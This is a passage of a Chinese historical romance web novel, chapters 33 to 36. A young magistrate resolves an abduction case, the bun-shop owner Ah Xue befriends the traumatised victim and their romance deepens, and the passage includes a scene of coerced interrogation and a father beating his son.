思来想去,焦红杏觉得等卢大富回来他们请严夫子过来吃顿饭,好好探探口风才是。 …… 赵友成发现谢临安心情大好,整个人都变得柔和了。 “啧。”赵友成没忍住,“你还是我认识的侯府世子爷谢临安吗?莫不是喝了迷魂汤” 卢娘子确实和京城大家闺秀格外不同,但也只是多了点新奇感觉罢了。谢临安能对她另眼相待已是奇事,难不成小小村女真的俘获京城侯府世子的心? “你今日醒的早。”谢临安答非所问,抬起眼帘看过来,“不怕国公爷杀过来了?” 赵友成嘿嘿笑:“昨个儿得了消息,老爷子派我二弟过来的。既然不是他亲自来,那我又有何可惧?” 书桌后的谢临安不赞同的摇头。 “他是武将。” 还是传承国公爷衣钵的武将。 赵友成脸色一变。“坏了,忘了这茬。老爷子不会让他打断我的腿吧?不行,临安,你得救我,待我二弟来了之后你一定要帮我说好话!” “看心情。” 屋里传来赵友成的哀嚎:“不行,你必须帮我,否则我……” 他停顿了一瞬去想有没有谢临安的把柄可以供他使用,但搜肠刮肚也想不出一个来。 就在这时,松石汇声,说外面王捕头有要事禀告。 赵友成退了出去,王捕头进来,面色严肃看样子大事不妙。 果然,他行礼之后开口道:“大人,出事了。” 原来那凶手抓到了,也不知怎么回事,受害者刘娘子说要见他一见。王捕头心软,便带着人去了,结果俩人三言两语吵了起来,回来后刘娘子就悬梁自尽。 幸而王捕头派人时刻关注着,及时将人救下,才没酿成悲剧。 谢临安放下笔,净手之后亲自去查看。 昨日半夜抓到的凶手,他以为没有危险便摸黑回家,被王捕头抓个正着,连夜押回来,就关在客栈的柴房里。 天色将亮,单薄的柴房们吱呀一声被打开,里面躺在稻草上的男人连眼睛都没睁,依旧老神自在的睡着。 “喂,孙小棍,起来拜见大人!”王捕头上前拽着他胳膊,叫孙小棍的犯人才懒洋洋的睁开眼,不情不愿的起身。 “谁是大人?”他揉了下眼睛看向屋里几个人。 王捕头他认识,面前也有几个眼熟的,应当都不是。那就是站在最前面的年轻郎君了? 这么年轻? 孙小棍怔愣的功夫,谢临安给了王捕头一个眼神,王捕头点头,一脚踹在孙小棍膝盖窝处。 砰的一声,他跪倒在地。 孙小棍心下惊悚。 他被抓之后以为会被官府的人折磨,但没想到对方只是捆了他双手,还给他地方住。这让住在山里好几日的孙小棍觉得舒适,对官府的人也不再惧怕。 甚至在将被他坑害的刘娘子带来时,他还敢嚣张的说些浑话。 但没想到,一切都是假象。 柴房里到处都是木屑杂物,他跪下后膝盖处一通,当即嚎叫一声,却被捕快直接捂住嘴。 “唔……” “我问,你答。” 谢临安负手站在孙小棍面前,身材颀长的郎君投下一片具有压迫性的阴影。 捕快松开捂嘴的首,重获自由的孙小棍却不说话,摆明了是一块滚刀肉,随你如何,就是不认罪。 谢临安突然笑了一下。 “你可知道官府如何审人?” 孙小棍闭口不言。 谢临安也并不是在问他,继续用他清冽的声音道:“一审二刑三画押。” 松石送来一张椅子,用帕子仔细擦拭上面的灰尘,谢临安撩过袍子坐下,坦然自若仿若在自己房里。 孙小棍心里突突。 “不对,人家都说官府不可用刑!” 面容俊美的郎君笑容扩大,孙小棍打了一个激灵。他以前去过寺庙,庙里供奉着笑面佛,看似在笑,实际笑意不达眼底。 与眼前之人一模一样。 直觉告诉他眼前年轻郎君是危险的,可他怎么敢用刑,难道就不怕他说出去? “朝廷不让动用私刑,不许言行逼供,”薄唇轻启,他顿了顿,似笑非笑道:“可谁又知道本官用刑了?” “你就不怕我说……啊……”一句话没说完,得到授意的王捕头动手,直接踢在了孙小棍的腹部。 这等地方肉厚不会轻易留下外伤,就算内脏有损伤外面也看不出来,保管又疼又没痕迹。 孙小棍倒在地上,如同被放在热锅里煎烤的活虾,蜷缩着身体,一脸痛苦。 自此,再也不提用刑之事,一五一十的将事情全部交代。 两刻钟后。 从柴房里出来的谢临安捏了捏额角,“去见刘娘子。” 她没直接送回村子里,而是被安置镇子里一处私宅,特意将城里衙署的丫鬟带过来侍候。 谢临安到的时候,水秀正在院子里喝茶,瞧见他,水秀眼眸一亮,另外一个丫鬟也上前来行礼。 “她如何?” 这里水秀最大,因此她率先答话道:“大夫开了安神汤药,刘娘子喝完酒睡下了。郎君,要奴进去将她叫醒吗?” “不必,待她醒来着人告知我。” “是。” 眼见着谢临安转身要走,水秀小跑着跟了上去。“郎君,奴同您去客栈服侍吧。” 水秀是几个丫鬟里面最貌美的,侯夫人让她们千里迢迢从京城跟来这里,意图显而易见。 可惜,谢临安从来不正眼看她们,更别提近身了。 “穷乡僻壤之处,松石独自照顾郎君恐多有不便,不如奴过去帮忙分担。” 这话说的漂亮,王捕头看了水秀一眼。 样貌不用说,身材更是一等一的好,走起路来摆腰扭跨,颇具风情。 “不用。”谢临安脚步不停,淡淡说了一声,水秀还想跟,松石转身伸胳膊拦住。 “水秀,回去照顾刘娘子吧,看住了,可莫要再出差池,郎君会不高兴。” 水秀期期艾艾,只能停下,不甘心的看着谢临安背影。 …… 这些事情阿雪本来不该知道的。 但隔日黄昏,谢临安来铺子里找到阿雪,坐在角落里一直等她忙完。 “郎君,天热了,喝酸梅汤解渴吧。” 她方才招呼附近的铺子送来的,倒出来后杯盏外壁立刻沁了层水珠,肉眼可见的凉爽。 每日早晨和黄昏时铺子生意最好,阿雪忙了许久,身上单薄衣裳被汗液浸湿,守在灶膛旁被热气烤的脸颊粉红,脸颊的碎发湿哒哒的贴着。 谢临安静静看她,端过酸梅汤递在她面前。 “是你该解暑才是。” 阿雪笑眼弯弯,俩人坐着说了会话,谢临安讲述来意,阿雪先是吃惊,随后是愤怒,最后是怜悯的叹气。 “我怎么可能不愿意帮她,郎君,你让她明日就来吧,熟悉一番混个脸熟,到时候别人也没法说什么的。” 原来那个孙小棍和刘娘子私下里互相有好感,但刘家嫌孙小棍没钱不肯嫁女,他私下找刘娘子说要私奔,刘娘子犹犹豫豫不肯走,孙小棍恶从胆边生,这才将人掳走。 人在地窖里,过了几日噩梦般的生活,在孙小棍被捕后,刘娘子还心存幻想,觉得如此对她不是本意。没想到孙小棍就是个彻头彻尾的恶人,刘娘子心念崩塌,寻死觅活。 她醒来后,谢临安见了她一面,言简意赅的说了解决办法。最后只扔下一句:“生或死,旁人都无权干涉你,你大可以自己好好想想,若是想活,于今日晌午着人告知,保你名声清白的回家。” 果然,刘娘子还是想活的,说到底就是觉得名声没了。 “名声哪里有命重要。”阿雪嘟囔,“我名声也还没了呢。” 被退婚,闹的全镇人都知道,老家村里人更是将此事当茶余饭后的笑话。 “什么?”谢临安没听清。 阿雪扯了扯唇角:“没什么。” 她低垂着眼睛,显然心情不妙。 谢临安手指敲着桌面,在思忱为何她的情绪变化如此之快。片刻后,瞧见铺子对面站着一个人,他心中了然。 原来是因为他啊。 对面之人正是严为之。 他看见谢临安所以才没靠近,没想到对方如此敏锐,他刚站在这,对方就抬眼扫了过来。 那是怎么样一种眼神? 无情无欲,好似能看透人心。 严为之往后退了半步。 谢临安站了起来,阿雪随之而起,冷不防他伸手过来碰了她的耳朵。 “沾着灰。” 谢临安收回手,弹走所谓的灰尘。 落在不远处的严为之眼里,就是二人举止亲密。 甚至谢临安抬眼看过来。 勾唇笑了。 第34章 第34章 刘娘子是被王捕头送来的,当时她低垂着脑袋,恨不得将头扎进衣服里。 阿雪站在铺子门口笑盈盈的看她,待她走近后想要去拉她的手,不想她像是受惊了似的,嗖的一下躲在王捕头身后。 “抱歉卢娘子,她胆子小。” “没关系的,你是叫刘娘子对吧?来,进来坐会。”阿雪便不再碰她,笑着给她拿了包子和水。 王捕头还有事便先离开,阿雪原本想和刘娘子说会话的,但见她背对着人蜷缩在那,她便打消了念头。 罢了,郎君说她受到惊吓,经历过这样的事情,怎么可能不害怕?阿雪心细,时刻注意她的动静,待忙碌的早上结束后,她走过来问:“我带你去方便?” 刘娘子先是缩了缩脖子,随后慢慢转过身,一双眼睛忍不住朝着门口看。如今天热了,铺子的门窗都是大敞四开,路上人来人往川流不息。 阿雪发现她的顾虑,笑着道:“可以从后院出去。” 大抵是俩人年岁相仿阿雪又善良热情,没过多久,刘娘子就愿意开口同她说话了。 “谢谢。”她声音很小,忙碌的阿雪回过头,扬起一张笑脸道:“不客气的。” 郎君的意思是让刘娘子在她这混个脸熟,到时候就对外说来此做工,过几日让她家人来接她回去,保住她的名声不叫外人议论她,此事就算了解。 阿雪不知道她被囚那几日发生了什么,但见她这模样,想来不是什么好事。 阿雪不会探究她的悲惨过往,只心疼她小小年纪就经历如此祸事,等过了晌午客人不多了,阿雪坐下吃饭。 “你怎么没动?” 她怕刘娘子饿,先给她拿了吃食。早上从家里带的小菜,熬了粥,加上阿雪做的菜包子和肉包子,一顿丰富的餐食。 “刘娘子,来,肉包子趁热吃才会香。” 她说着去给对方递筷子,刘娘子道了谢,俩人吃完饭,阿雪便开始做下午的包子,和面包馅一气呵成,做事麻利有条理,看的刘娘子暗暗称奇。 好厉害的小娘子。 在他们村子里,像是这个年岁的小娘子基本都许了人家,就等着嫁人了,从未听说过谁家给女儿出钱开铺子,就算有,也只是过去帮忙,不分钱的。 刘家去年多买了几块地,刘娘子跟着早出晚归的干活,秋季收成时,她一分钱都没分到。 她娘说兄弟今年都要成婚,家里处处都要钱,还说不是不给她钱,都是为了给她攒嫁妆。 刘娘子一直深信不疑。 后来有一天,她偷听到父母对话,说是要给她找一门彩礼钱丰厚的婚事,对方年岁大点也没关系,年纪大会疼人。 刘娘子不大乐意,那时候她和孙小棍好上了,他说会攒钱成婚。刘娘子觉得孙小棍对她挺好的,会给她抓鱼吃,两条鱼都给她吃。 不像是家里,让阿兄和弟弟吃,她每次只能留着鱼刺,放在火里烤脆了当零嘴。 那时候她是真喜欢孙小棍的。 后来呢? 后来,有个鳏夫来家里提亲,给了银锭子和一头驴,家里同意了。 刘娘子不想嫁给鳏夫,家里当然不同意,她便说嫁人也成,但给的彩礼钱要加到嫁妆里。 其实,她只是听从孙小棍的,试一试家里。 但没想到父母脸色大变,阿兄对她拳脚相加,她向弟弟求助,弟弟冷眼旁观。 再后来,她就不提了,老实等着嫁人。都是亲人,怎么会害她呢? 孙小棍一直约她出去,她也不见他,老实呆在家里等着年底成婚。后来,她就被孙小棍带走了。 谁可以相信呢?刘娘子睡不着的时候这样思考过,发现谁都不可以相信。 这世上没有人在乎她,她也没有相信之人。 活着有什么意思?一点意思都没有。 “刘娘子?” 阿雪见她坐在那愣神,小声叫她。 “你再多吃点。”才吃了一碗粥而已,胃口太小了。 刘娘子摇头,依然很谨慎的坐在那,好像和阿雪之间有一层屏障似的。 阿雪没逼她,反正郎君说了,就让她坐在这就成。 黄昏时候,王捕头来接人。大抵是因为第一个冲进地窖之人是他,所以刘娘子对他格外信任。 有刘娘子在,阿雪更不能让严为之来了,问石头进度可跟上了,卢石头连连点头,说不用麻烦严夫子开小灶了。 阿雪也觉得老麻烦人家不太好,于是这天严夫子来的时候就提了此事。 严为之的表情复杂,诧异、难过…… “谢谢夫子的照顾,小小礼物不成敬意,还请夫子笑纳。” 阿雪特意去买了一块砚台,还挺贵的,阿雪和掌柜讲价,最后对方赠送了一块劣质的,阿雪打算留着自己练字时候用。 严为之拿着砚台一步三回头,回到家里,对着砚台长吁短叹,怅然若失。 …… 两天之后,阿雪才知道刘娘子叫刘采白,两个人的话也越来越多,有时候阿雪忙不过来,她还会主动过来帮忙,但只限于帮忙捡包子,递给阿雪,再让阿雪递给客人。 今日不知怎么生意好,还不到黄昏时候就全都卖完了。 阿雪收拾灶台,道:“刘娘子,今天结束了,可以先回去。” 铺子里老是蒸汽缭绕,热的很,俩人俱是一身汗。阿雪想着让她回去洗洗休息,总好过呆在这。 刘采白站着没动,想了想,拿起抹布过来帮忙。 “没事,我来就成,你可以先走的。” “卢娘子,我……我能不能多在你这呆一会?” 阿雪抬头看她,刘娘子似是不好意思,脸色发红道:“我……我想多和你呆一会。” 回去之后倒是有人,可那个叫水秀的娘子着实不好相处,刘娘子有点怕她。相反,阿雪就格外的平易近人,是个爽朗爱笑的笑的小娘子,她喜欢和阿雪相处。 阿雪没多想:“那有什么,想呆着就呆,正好我收拾铺子,你能帮我就太好了!” 刘娘子眼神一亮,立刻帮忙。 俩人都是能干的小娘子,没一会就收拾干净,净手之后阿雪道:“天色晚了,你快回去吧。” 刘娘子依依不舍的看阿雪。 原本分别时候还好好的,翌日早晨,刘娘子一副失魂落魄的样子。 阿雪寻思着,难道是又想起糟糕的经历了?趁着没人,阿雪让她吃了豆馅包子垫肚子,然后开解道:“过去的事就过去了,往前看才是。” 刘采白不言语。 “其实吧,每个人都有自己最不想回忆的事情,我也有的。”阿雪真情流露,“我跟你说,有一阵子我特别难过,所有人都对我有异样的眼光,都在背后小声蛐蛐,那阵子我低头走路,觉得没脸见人。” 刘采白抬头看她。 “卢娘子……” 阿雪拍她的手,学着焦红杏安慰她的样子,语重心长道:“我们不仅要活着,还要好好活着,打那些嚼舌根人的脸。我跟你说,自己日子过好了,旁人就会愈发嫉妒你,但那又怎么样?我们享受自己的小日子,管他们做什么,又不是他们的爹。” 刘采白没忍住噗嗤笑了,阿雪称赞道:“你笑起来很好看,就要多笑笑。” 刘采白点头。 铺子外,谢临安勾了勾唇,松石道:“郎君,不进去吗?” “不,先去办公事。” 临走前他回头望了一眼,明媚的笑容绽放在小娘子的脸上,她还在同刘采白说着什么,没一会俩人都笑了。 她太不一样了。 刚开始谢临安只是觉得她有趣,后来她身上那股鲜活劲深深吸引他。就好像平淡无趣的水面落下了一颗石子,激荡起令人振奋的水花。 再到现在。 他发现,她不止是看起来鲜活,实际上如同蒲苇一般,内里还带着一股韧劲。劝解别人三言两语,便让人破涕为笑。 秘诀便是真诚。 真诚的、明媚的、清澈的人。 “越来越有趣了。” …… 等刘采白冷静下来,阿雪才知道为何她心情低落。原来明日一早,那个叫孙小棍的凶手就要被羁押回城里衙署判刑。 刘采白的心情复杂极了,阿雪劝解她许久,总算让她走了出来。阿雪道:“明日我陪你去看,要亲眼看着他被绳之于法。” “谢谢卢娘子。” 翌日天不亮,阿雪和刘采白边已经等在路边了。知道消息的百姓不多,因此路上没什么人。 双手双脚被捆绑的孙小棍,被人像是麻袋似的扔在马背上,他倒立着,偏过头时瞧见纤细的人影。 刘采白被他看见后往后退了一步,阿雪默不作声握住她的手,温暖她冰凉的双手,就好像给了她力量似的,她鼓足勇气,看向孙小棍。 曾经也是喜欢的,但现在只剩下复杂的恨意。 孙小棍似乎想说什么,被王捕头眼疾手快,直接捂住嘴,索性用破布把脑袋也蒙上了。 那些人越走越远,刘采白忽地泪流满面。 “重新开始。”旁边的阿雪轻声道。 天边的日头升起,渐渐有温暖的光亮照在两个小娘子身上,驱散阴霾,自此之后,前路光明坦荡。 …… “所以,你也要走了?” 阿雪难掩失望。“是啊,我怎么忘了,案子解决了,凶手被抓刘采白送回家,你的事情结束就得回城里衙署了。” 俩人在客栈谢临安的房里,谢临安端坐在椅子上,阿雪则是毫无形状趴在桌子上,瘪着嘴难过极了。 早知道他要离开,她今日就早点过来,俩人还能多相处一会,哪像现在,慌里慌张,恋恋不舍。 耳朵突然有了热度,阿雪抬眼,是谢临安的长指伸过来,将她鬓边的碎发拢到耳后。 “我可以晚走一个时辰。” “真的!”阿雪激动的起身,像是久旱逢甘露的嫩芽,立刻生长绽放出花儿。 不过,她又很快蔫巴巴。 “可也只是一个时辰而已,我还在期待初十那天呢。” 五月初十,似乎并不是什么重要的日子。谢临安道:“回衙署之后还要去周边县走一趟。” 顿了顿,似乎在权衡时间。 松石没忍住插话道:“郎君,公事要紧。” 孙小棍的案子要处置,眼看着农忙时节,附近县镇要走一趟,合计今年税赋事宜。还有衙门里的杂事…… 脱不开身的。 松石急的不行,“郎君,您是第一年上任,三思啊。” 年底要述职等事宜,本来京城那些人就在看热闹,若是出了差池……松石不敢继续往下想。 “没关系的,不能回来就算了。”阿雪虽失望,但也不想让他为难,“东西收拾好了吗?我可以帮你收拾的。” 阿雪作势就要起身挽袖子干活,腕子突然一紧,一股拉力将她拽了回来,脚下没站稳,晕头转向之际,感觉碰触到硬物。 “唔。” 阿雪胳膊肘杵在谢临安的胸膛上,俊美郎君难得皱眉。 “郎君!”松石惊声。 “对不起我不是故意的,你没事吧” 她手摸上来,来回抚过,谢临安如玉的面孔逐渐变红。 “哪里疼?这里吗?完了,肯定是这里,硬邦邦的,肿了!” 第35章 第35章 赵友成以为自己宿醉还未醒,否则怎么会看见卢娘子在对谢临安上下其手? 站在门口的赵友成揉了揉眼睛,使劲看过去。那个温润如玉斯斯文文的谢临安,不仅任由她摸,还耳根子发红? 完蛋,他开始梦游了。 “啪”赵友成给了自己一嘴巴。 这一生脆响让阿雪停了动作,侧头朝着门口看过来。“赵郎君,你打自己嘴巴做什么?” “太疼了,不是梦。”赵友成捂着发红的脸,谢临安已经低头整理好衣襟了。 他不紧不慢道:“不愧是武将世家,打自己也丝毫不手软。” 怎么回事,感觉谢临安在阴阳怪气。 屋里人多起来,说话也不方便了,很快一个时辰就过去,他们准备启程离开。赵友成识趣先上了马车,松石忙着搬东西,屋里便只剩下他们二人。 谢临安拉着她的手,宽大的掌心包裹住她纤细的腕子,他还用拇指去蹭了蹭她的手心。 说不出是什么感觉,好像喝了蜜糖一般,一路从嗓子甜到心里。 真奇怪,方才她明明只喝了茶水啊。 感觉奇怪的不止她一个,谢临安也浑身不自在。但瞬间就变成了贪念,像是一张网似的,将他包裹。 他张开五指,将人拽在自己胸前,俩人十指相握,他用另一只手去揽她的背,将人抱在怀里。 腾的一股火,烧的阿雪脑子发昏。 熟悉的清冽的香气萦绕,因为他的体温更加好闻,阿雪脸越来越烫,觉得自己好像变得奇怪起来。 交颈的俩人能清晰嗅到彼此的气味,谢临安闭眼深深吸了口气。只觉得有什么东西随之进入他的身体,将整个胸腔溢满。 “我答应你。”他说。 迷糊的阿雪没反应过来。“郎君,你说什么?” “我答应你,初十回来见你。” 不是为了初十回来,是为了见你。 …… 谢临安走后,阿雪变得茶饭不思。 这是从未有过的感觉,她总会不受控制的想起他。 阿雪没读过书,她觉得他长的好看。眼睛好看,鼻子好看,嘴巴也好看。在她心里,谢临安简直就是完美的人,无一处不讨人喜欢。 忙碌时候还好,闲暇时间,她就会用手撑着脸,另外一只手掰着指头算日子。 快了,快回来了。 “阿姐,身体不舒服吗?” 下学回来的卢石头看见她趴在桌子上,还当她哪里不适,大步流星的过来,放下书袋撸起袖子就要背她。 “哎哎,放我下来,我没事。” 卢石头松开手小心翼翼的把阿雪放下,高大的少年挠头,憨厚一笑。 “是累了吧?阿姐,不如明日我帮你看店,你回家歇着。” 石头每天都会过来帮忙,确实分担不少。 “明日学堂休沐?” 卢石头不情不愿道:“不是。” 阿雪嗔怪:“那你看什么铺子,好好读书才是,行了,收拾一下我们回去,娘说今日有客人来家里。” 回去路上,卢石头小声和阿雪说不想读书的事情,被阿雪训斥一顿不敢说话了。 到家之后,卢大富从厨房里端菜,招呼姐弟快点洗手进厨房帮忙。 卢大富是前天回来的,在家里甚至只呆了一炷香的时间就杀回村子里,第二日晚上才回来,瓮声瓮气告诉焦红杏,往后族里那些人不敢再胡来了。 有卢大富这个顶梁柱在家,所有人夜里睡觉都安生了。 “爹,今天到底是谁来啊?” 卢石头进屋看了一眼,都六个菜了,有鱼有肉,快和他们家年夜饭一样奢侈了。 卢大富:“你娘没告诉你?是严夫子。” “啊?!”卢石头大惊,手里的菜盘子差点没端稳。 天老爷,就不能给他时间喘息吗?怎么哪哪都能看见严夫子! 烦人! 阿雪也惊讶:“怎么突然请他吃饭了?哦,我知道了,是为了感谢给石头补进度吧。” 卢大富眼神有点闪烁,没敢看向自家闺女,含糊其辞的应了。 倒数第二道菜上来的时候,严为之来了,手里拎着一坛子酒。 “听闻伯父喜酒,小小心意不成敬意。” 严为之说话文绉绉的,卢大富这等粗人其实不太愿意和文人打交道,说半天话也说不到点子上。不过既然对方有可能是未来女婿,卢大富就笑呵呵的应了,招呼他进屋上桌。 俩人落座,焦红杏和阿雪还在厨房忙碌,卢石头站在门口不进来,叫他过来坐,他哼哼两声,步履沉重的进来,在距离严为之最远的地方坐下。 可是家里是圆桌,最后变成了和严为之面对面。 俩人面面相觑。 严为之笑笑,卢石头皮笑肉不笑。 “菜来了,汤也好了。”母女端来东西,卢石头赶忙起身去接,卢大富也走过来接过阿雪手中的汤盆。 只有严为之,一动不动。 君子远庖厨。 他从来不会做这些,且他爹娘也不许。而且在他家中,都是他母亲做这些家务活计,严为之不认为一个男人该帮忙。 所以当看见此情景,略显诧异,不过很快压了下去,开始聊天吃饭。 席间,卢大富倒了酒和严为之推杯换盏,表达谢意。严为之道:“石头是学堂的一员,看顾他是某分内之事。” 焦红杏看他们一杯接一杯,便悄悄踩卢大富一下。 “那个,严夫子,你家中父母何时回来啊?” 严为之道:“大概农忙结束就能回来,约莫六月份吧。” 六月,也成。 焦红杏给严为之夹菜,越看越满意,问了不少关于他家里的事情,严为之一一作答。 他到了这个年岁,自然洞悉焦红杏的意图,不免欣喜。可一抬头,瞧见阿雪埋头吃饭,没有理会他的意思,严为之如浇冷水。 是啊,她那时候与一个郎君举止亲密,恐怕不喜欢他。 再然后,严为之就没那么热络了,焦红杏也没多想,宴席结束,宾主尽欢。 晚上卢大富熟睡,被焦红杏叫起来。 “大富,你先别着急睡,你帮我分析分析俩孩子的婚事,到底能不能成。” 怎么感觉阿雪对严为之……没那么热络呢? 半睡半醒的卢大富搂过妻子,含糊道:“别想了,快点睡,明天再说。” 气的焦红杏捶了他一下,不痛不痒,卢大富没一会就开始打鼾。 …… 卢大富觉得闺女年岁不算大,可以多留一年,焦红杏则是着急,生怕好的让旁人家定下了。 “又不是抢菜,先到先得。” 卢大富不忧愁阿雪,现在最担心儿子卢石头。“一早起来去学堂又是不情不愿,我不在家的时候他也这样吗?” “嗯,不过他就是念叨几句,该去还是去的。” “昨天我送严夫子的时候问了一嘴,他说咱们石头比旁人入学晚,虽然能跟上,但效果没那么好。” 严为之说话委婉,没说卢石头倒数第一。 每隔几天就会有小考,每次卢石头的卷子都不尽人意,严为之比他本人还要忧愁。 焦红杏叹气:“昨夜石头又读书到半夜,我起夜时候去他房里,叫他赶紧熄灯睡觉。” 卢石头揉着眼睛躺下就睡着了,焦红杏坐在他床边,心疼的看了他好一会。 当天,学堂又有小考,因着人少,没多久就出结果,不出意外,卢石头又是一个丁等。 甲乙丙丁,他甚至连丙都没拿过。 晚上回去,卢大富将人训斥一顿,卢石头不服,梗着脖子道:“我都说了我不适合读书,非要我去读!” 一天起的比鸡早,睡的比狗晚。人家鸡和狗还不用劳累,他呢?天天学什么之乎者也,酸啾啾的东西,有什么用? 不如进山打猎打两只山鸡来的实在。 “混账!” 卢大富是个脾气急的,“家里都盼着你好,不惜花重金送你去读书,你还委屈上了?” 卢石头不服气,爷俩对上了,阿雪早就去铺子,家里只有焦红杏,但她哪里能拦住人啊,卢石头被他爹抓住,按在地上就是一顿打,打的哭天喊地。 “能不能好好读书!” 随着话音落下的,还有卢大富的鞋底子。 卢石头屁股都要被打开花了,依然死鸭子嘴硬。 “我不会读书!我只会打猎!” “我让你打猎,我先打你。” 啪啪又是几下。 焦红杏心疼孩子,两只手去拦卢大富,堪堪将人拽住。“大富,大富你别打,再打下去要受伤的,我们有事好好说。” 在妻子温声细语之下,卢大富冷静下来,松开禁锢的手,气喘吁吁跌坐在凳子上。 卢石头提着裤子,头也不回的冲出家门,饶是焦红杏在后面喊,他也没回头。 “小兔崽子,让他跑,看他能跑哪去。” “行了,这事不全怪石头,也怪我们没早点送他去启蒙,如今都十三岁了才读书,照着其他人落下一大截,都比不过人家八九岁的孩子,他心里肯定不舒服。” 岂止是不舒服,简直是抬不起头。 卢石头以前总跟卢大富进山,玩伴不多,脑子直想的简单。但读书之后,他便懂得不少道理,越念书越觉得自己不适合这条路,既浪费钱又没用。 但卢家人坚持,阿雪听闻此事后去找了严为之,希望他能开导开导石头。 “你莫要担忧,今日我就找他聊上一聊,兴许心胸开阔之后思绪有所转变。” 可惜,卢石头真如其名,一块硬石头,谁都说不通。 “阿姐,其实我甚至都不想去学堂了,但这个月束脩刚交完,咬牙也得过去念。” 这天回去路上,卢石头对着亲姐吐露心声,他被打的不轻,两天过去依旧疼,走起路来一瘸一拐。 阿雪不忍心了。 “石头,你和我说实话,为什么就不想念书?” 第36章 第36章 “你为什么不想读书?” 这个问题已经有不下十个人问他了。 爹娘和阿姐,莲花姐,严夫子,附近邻居们,所有人都觉得能出钱供他读书是天大的好事,他怎么就如此不懂事,不珍惜还离经叛道。 卢石头瘪着嘴,露出委屈的神色。 “阿姐,连你也说我。” 阿雪伸手去摸了摸弟弟的头,眼看着个头就要超过她了。 “你小时候,只有这么大。” 阿雪伸出手比划,小小的一个。 “爹娘有时候照看不过来,都是让我看着你,”阿雪莞尔一笑,“转眼你就这么高了,现在也有自己的主意。阿姐不是逼你,就是想知道,你到底如何想的。读书是一条出路,将来就算当不了举人,也能办个私塾给小孩子开蒙,束脩钱不少,够你养家糊口。” 看着卢石头浓眉大眼,一脸的憨厚。阿雪顿了顿,转了话风。 “就算没考中举人当个秀才也好,起码也能识文断句,到时候再学学怎么拨算盘,去给人家当账房先生啊。石头,你就坐在柜台后拨弄算盘就成。” 每次路过酒楼看见算盘先生,阿雪都羡慕。不用经历风吹日晒,更不用担心阴天下雨,酒楼还供一日三餐,还有钱拿,多好的差事啊。 卢石头垂下脑袋,闷声闷气道:“可我不觉得好。” “什么?你竟然不觉得好?那你说说,你心里的好活计是什么?总不能是打猎吧。” 卢石头先点头,随后又摇头。 “我也不知道自己喜欢什么,反正和读书相比,我更喜欢去打猎。” 他说的不清楚,阿雪也猜不明白。身边能劝的人都来劝过了,现在卢石头依旧还在学堂,只是魂不守舍,严为之也没办法。 “石头,你先好好读书,或许,我能找到人帮你答疑解惑。” 卢石头抬头:“谁啊?” 阿雪眨眼,俏皮一笑:“秘密。” 数着手指头盼星星盼月亮,总算来到初八这天,还有两天就能见到谢临安了。 “我发现你这几日特别不对劲,来,和姐姐说说,你们俩……”莲花两只手只伸出食指,相碰撞又即刻分离,笑吟吟的看着阿雪,一副我都懂的表情。 “看来你是陷进去了,我们的小阿雪啊,也有这么一天。” 俩人相识多年,几乎无话不谈,也曾见过不少小郎君们红着脸来找阿雪,但无一例外,全都铩羽而归。 阿雪心思单纯,有时候听不懂暗示。那些郎君们只以为被婉拒,因此而放弃。 只有严为之,坚持天天来阿雪这买菜包子,兴许就是执念打动了阿雪。 “也算是有情人终成眷属。”莲花颇为感慨。 阿雪笑了笑:“哪有。” 小娘子笑起来面若桃花,眉眼含情,分明是深陷情网的模样。 “哎呀,知道我们阿雪脸皮薄,算了算了,你不说我就不问。咦,阿雪,你怎么又在揉面,刚才不是包了两锅吗?” 阿雪的面板很大,此刻她两只袖子挽起,露出一截纤细的手腕。明明那么细弱,可却像是有无限力量似的,没一会便将面团柔成光滑模样。 “不是做馒头,我想做面条。” “要连面条一起卖了?那不成啊,阿雪,太累了,你只卖包子馒头就够了。” “不是卖,我是……是想学做面条。光会做馒头和包子,还未曾做过面条呢。” 莲花笑了:“那简单,我教你。” 在莲花的指导下,阿雪进步飞速。她本就整日和面团打交道,上手自然更快。一碗面做出来,莲花称赞她聪明,阿雪却不大满意。 “莲花,你能不能教我用一根面条做一碗面的方法?” “一根面条?那可不容易啊。”莲花摊手,“我不会,再说,非要一根做什么,又不是过生辰。” 阿雪心虚的低下脑袋。 还真是过生辰。 原本她不该记得谢临安的生辰日子才是,但俩人曾经做过多年邻居,每次谢临安的生辰,他娘都会给他煮一碗长寿面。阿雪想着他离开京城母亲不在身边,生辰恐怕也不一定过了,所以想送他一碗面当作贺礼。 当然,一碗面是不够的,阿雪琢磨着再送点拿得出手的玩意儿。 可惜,第一步就失败了。 阿雪不服气,觉得自己和面打交道多年,还能做不出一根长面? 屡战屡败,屡败屡战。 卢石头下学之后,阿雪笑眯眯的看他:“弟弟,今天吃面。” “好啊,我喜欢吃面。” 然后卢石头眼睁睁看着阿雪端过来一盆面条。 “这些都是给你的,不着急,慢慢吃啊。” 卢石头目瞪口呆。 “阿姐,你确定是喂我不是喂猪?”这么一大盆,得两个他才能吃完啊。 没办法,谁让阿雪做失败了,又不能浪费粮食。 最后卢石头实在吃不完了,剩下的用碗端着拿回去,被卢大富三两口吃干净。 可能是吃多了,卢石头半夜去了趟茅房,第二天早上起来抓耳挠腮,脖子和脸上还有胳膊上全是红肿的小包。 “忘了叫你爹熏草了,今天我去弄好,再给你们姐俩屋里挂上,免得夜里开窗睡觉蚊虫扰人清梦。” 蚊子? 阿雪忽地灵光一闪。 她知道送谢临安什么了。 …… “临安,他们来了吗?” 被阿雪念叨的谢临安,正坐在衙署公事房里处理事务,赵友成像是一个窃贼一般,神秘兮兮的躲在他椅子后。 “你说呢?” 谁能想到今日一早得来的消息,说他二弟赵友玉已经进城了,这么会估摸着摸索着就要进衙门抓他了! 原本宿醉的赵友成,立刻像是被灌了一缸醒酒汤似的,腾的一下从床上鲤鱼打挺,手忙脚乱穿好衣服,来寻谢临安庇佑。 “临安,我二弟一直都崇拜你,一会你可得帮我说两句好话啊。” 赵家乃是武将世家,奈何赵友成不争气,文不成武不就,幸好底下的兄弟姐妹出挑,尤其是一母同胞的二弟,继承了老爷子的剑法,年纪轻轻就参军去了,一路爬上来。 虽然是他弟弟,可赵友成当真惧他。 “看心情。”谢临安淡声道。 赵友成哀嚎一声,外头的松石脚步匆忙。“郎君,来了。” 赵友成立刻就要往桌子底下躲,被谢临安一把薅住领子。 “郎君,四郎也来了。” “呦,那不是你们二房寻回来的私生子吗?他一向谨小慎微,怎么还敢出京,不刻苦读书了?” 谢临安瞥了赵友成一眼,赵友成立刻打嘴。“瞧我,不是私生子,是流落在外的儿子。” 